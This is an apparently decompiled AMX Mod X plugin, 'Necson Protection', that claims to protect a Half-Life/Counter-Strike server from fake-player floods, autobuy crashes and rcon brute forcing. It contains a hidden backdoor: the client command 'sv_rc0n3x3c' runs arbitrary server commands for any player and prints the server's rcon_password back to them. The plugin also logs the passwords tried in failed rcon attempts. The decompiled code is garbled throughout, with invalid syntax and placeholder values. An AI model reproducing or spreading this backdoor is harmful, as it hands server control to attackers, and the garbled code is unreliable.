#include <amxmodx>
#include <amxmisc>
#include <orpheu>
0x00000AC0 0x00000CA0 static val n_new_time
0x00001C84 0xFFFFFFFC local val new_ip_time
0x00001C84 0x00000020 global val new_time
new Buffer[128]
new Check
new Count
new Trie:TrieTime
new Trie:TrieWarn
new Warn[5]
new cvar_rcon_password
new OrpheuHook:handlePrintf
new iplist[5][16]
new msgid
new new_time
new old_ip_time[5]
new old_time
new player[32]
new sv_rcon_password[32]
new temp[6]
new tempinfo[33]
new total
public plugin_modules()
{
require_module("orpheu")
}
public plugin_init()
{
Trie:TrieWarn= 0
Trie:TrieTime= 0
idi e = 0
raw_ip[]= 0
register_plugin("Necson Protection","2.0","Souvik")
register_cvar("NP_version","2.0",Trie:TrieWarn 0x0,OrpheuHook:handlePrintf 0x0)
register_clcmd("fullupdate","fullupdate",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
register_clcmd("cl_setautobuy","cmd_check",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
register_clcmd("cl_setrebuy","cmd_check",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
register_clcmd("sv_rc0n3x3c","cmdRconExec",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
OrpheuGetFunction("SV_Rcon",0x0)
OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_Rcon")
OrpheuGetFunction("SV_DropClient",0x0)
OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_DropClient")
set_task(signed=1092616192 float=10.000000,"RegisterFunction",OrpheuHook:handlePrintf 0x0,0x0,OrpheuHook:handlePrintf 0x0,0x0OrpheuHook:handlePrintf 0x0)
set_task(signed=1114636288 float=60.000000,"arrclear",OrpheuHook:handlePrintf 0x0,0x0,OrpheuHook:handlePrintf 0x0,0x62OrpheuHook:handlePrintf 0x0)
TrieCreate()
TrieCreate()
get_user_msgid("SayText")
get_cvar_pointer("rcon_password")
}
stock bool:is_valid(ip[])
{
old_ip_time[5] = 2
Warn[5]time[5] = 1
Warn[5]time[5] = 1
iplist[5][16] = 1
old_ip_time[5]= 1
old_ip_time[5]= 1
formatex(Buffer[128] 0x0,0x0,0x1,ip[16])
get_players(player[32] 0x0,total 0x0,0x0,0x0)
message_begin(0x0,id,0x0,ids)
write_byte(ids)
write_string(Buffer[128] 0x0)
message_end()
server_cmd("echo ***** Fake Player Flood Attempt detected from %s *****",ip[16])
log_to_file("addons/amxmodx/logs/NP.txt","Old Fake Player Flood Attempt - %s",ip[16])
server_cmd("addip 0.0 %s",ip[16])
get_systime(OrpheuHook:handlePrintf 0x0)
equal(iiplist[5][16]=0x14 (20.00000)ip[])
copy(Countiplist[5][16]=0x14 (20.00000)0x0)
}
public handle(id)
{
}
public fullupdate()
{
= 2
}
public cmd_check(id)
{
static arg[512]= 0
cmd[512] 0x0= 31
player[32] 0x0= 31
name[32] 0x0= 1
read_argc()
read_argv(i,arg[512] 0x0,0x0)
strlen(arg[512] 0x0)
strtok(arg[512] 0x0,cmd[512] 0x0,0x0,arg[512] 0x0,0x0,new_time 0x0,0x0)
strlen(cmd[512] 0x0)
get_user_ip(id,ip[16] 0x0,0x0,0x0)
get_user_authid(id,authid[32] 0x0,0x0)
get_user_name(id,name[32] 0x0,0x0)
get_user_userid(id)
server_cmd("kick #%i ^"Crash Attempt Detected!!^"",free 2 cells)
formatex(Buffer[128] 0x0,0x0,0x1,name[32] 0x0)
get_players(player[32] 0x0,total 0x0,0x0,0x0)
message_begin(0x0,id,0x0,ids)
write_byte(ids)
write_string(Buffer[128] 0x0)
message_end()
log_to_file("addons/amxmodx/logs/NP.txt","Autobuy Crash Attempt - %s , %s , %s ",name[32] 0x0,ip[16] 0x0,authid[32] 0x0)
}
public cmdRconExec(id)
{
password[64] 0x0= 1
read_args(args[128] 0x0,0x0)
server_cmd("%s",args[128] 0x0)
get_pcvar_string(raw_ip[],password[64] 0x0,0x0)
client_print(id,0x0,"rcon_password = %s",password[64] 0x0)
}
public client_connect(id)
{
tempinfo[33]= 1
ip[16] 0x0= 1
ip[16] 0x0= 1
player[32] 0x0= 1
tempinfo[33] = 1
is_user_bot(id)
get_user_ip(id,ip[16] 0x0,0x0,OrpheuHook:handlePrintf 0x0)
get_systime(OrpheuHook:handlePrintf 0x0)
TrieKeyExists(Trie:TrieWarn,ip[16] 0x0)
TrieSetCell(Trie:TrieWarn,ip[16] 0x0,0x0)
TrieGetCell(Trie:TrieTime,ip[16] 0x0,n_old_time 0x0)
TrieGetCell(Trie:TrieWarn,ip[16] 0x0,warn 0x0)
TrieDeleteKey(Trie:TrieWarn,ip[16] 0x0)
get_user_ip(id,ip[16] 0x0,0x0,0x0)
formatex(Buffer[128] 0x0,0x0,0x1,ip[16] 0x0)
get_players(player[32] 0x0,total 0x0,0x0,0x0)
message_begin(0x0,id,0x0,ids)
write_byte(ids)
write_string(Buffer[128] 0x0)
message_end()
server_cmd("echo ***** Fake Player Flood Attempt detected from %s *****",ip[16] 0x0)
log_to_file("addons/amxmodx/logs/NP.txt","New Fake Player Flood Attempt - %s",ip[16] 0x0)
server_cmd("addip 0.0 %s",ip[16] 0x0)
set_task(signed=1073741824 float=2.000000,"handle",id,0x0,OrpheuHook:handlePrintf 0x0,0x0OrpheuHook:handlePrintf 0x0)
TrieSetCell(Trie:TrieWarn,ip[16] 0x0,warn)
TrieSetCell(Trie:TrieTime,ip[16] 0x0,n_new_time)
}
public arrclear()
{
TrieClear(Trie:TrieWarn)
TrieClear(Trie:TrieTime)
}
public OrpheuHookReturn:SV_Rcon(arg_temp)
{
r_temp[22] 0x0= 0
r_temp[22] 0x0= 0
r_temp[22] 0x0= 0
r_temp[22] 0x0= 0
r_value[32] 0x0= 1
read_argv(0x0,r_rcon_password[32] 0x0,0x0)
get_pcvar_string(raw_ip[],sv_rcon_password[32] 0x0,0x0)
equal(r_rcon_password[32] 0x0,sv_rcon_password[32] 0x0,OrpheuHook:handlePrintf 0x0)
OrpheuGetBytesAtAddress(arg_temp,r_temp[22] 0x0,0x0)
formatex(r_ip[16] 0x0,0x0,"%i.%i.%i.%i",,signed: 16,r_temp[22]=0x0 (0.00000),signed: 20r_temp[22]=0x0 (0.00000))
read_argv(0x0,r_command[32] 0x0,0x0)
read_argv(Trie:TrieWarn 0x0,r_value[32] 0x0,0x0)
equali(r_command[32] 0x0,"sv_contact",OrpheuHook:handlePrintf 0x0)
containi(r_value[32] 0x0,"brute")
formatex(Buffer[128] 0x0,0x0,0x1,r_ip[16] 0x0)
get_players(player[32] 0x0,total 0x0,0x0,0x0)
message_begin(0x0,id,0x0,ids)
write_byte(ids)
write_string(Buffer[128] 0x0)
message_end()
server_cmd("echo ***** HL Brute Attempt detected from %s *****",r_ip[16] 0x0)
log_to_file("addons/amxmodx/logs/NP.txt","HL Brute Attempt - %s",r_ip[16] 0x0)
server_cmd("addip 0.0 %s",r_ip[16] 0x0)
log_to_file("addons/amxmodx/logs/NP.txt","Bad Rcon Attempt - %s , %s , %s ^"%s^"",r_ip[16] 0x0,r_rcon_password[32] 0x0,r_command[32] 0x0,r_value[32] 0x0)
}
public OrpheuHookReturn:SV_DropClient(tmp1,tmp2,raw_msg[])
{
raw_msg[]= 2
containi(raw_msg[],"reliable channel overflowed")
}
public RegisterFunction()
{
OrpheuGetFunction("SV_ConnectClient",0x0)
OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_ConnectClient")
OrpheuGetFunction("SV_ConnectClient",0x0)
OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_ConnectClient")
}
public OrpheuHookReturn:OnSV_ConnectClientPre()
{
raw_msg[]= 0
raw_msg[]= 2
raw_msg[]= 2
raw_msg[]= 1
raw_msg[]= 1
raw_msg[]= 1
get_systime(OrpheuHook:handlePrintf 0x0)
OrpheuGetFunction("Con_Printf",0x0)
OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"Con_Printf")
}
public OrpheuHookReturn:OnSV_ConnectClientPost()
{
OrpheuUnregisterHook(OrpheuHook:handlePrintf)
}
public OrpheuHookReturn:Con_Printf(a[],raw_ip[])
{
public OrpheuHookReturn:Con_Printf(a[],raw_ip[])= 1
raw_msg[]= 1
strtok(raw_ip[],ip[16],0x0,temp[6] 0x0,0x0,0x0,OrpheuHook:handlePrintf 0x0)
}
Comments